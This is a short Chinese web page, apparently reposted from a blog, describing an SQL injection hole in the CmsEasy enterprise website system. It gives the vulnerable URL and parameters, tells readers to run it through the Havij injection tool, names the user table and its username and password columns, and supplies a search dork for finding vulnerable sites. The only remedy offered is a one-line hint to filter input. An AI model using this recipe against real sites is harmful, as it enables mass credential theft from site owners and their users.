好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

emseasy易通企业网站系统最新注入漏洞及修复 - 网

 

易通企业网站系统最新注入 漏洞 。

注入EXP:

 

http://www.2cto.com /celive/js/include.php?cmseasylive=1111&departmentid=0

 

直接放Havij里面跑。错误关键字:online.gif

 

添加表名:cmseasy_user

 

列表:userid,username,password

 

百度关键字:Powered by CmsEasy

 

摘自 :半坑土农民'S Blog  

www.2cto.com修复:到include.php页面过滤相应输入

查看更多关于emseasy易通企业网站系统最新注入漏洞及修复 - 网的详细内容...

  阅读:46次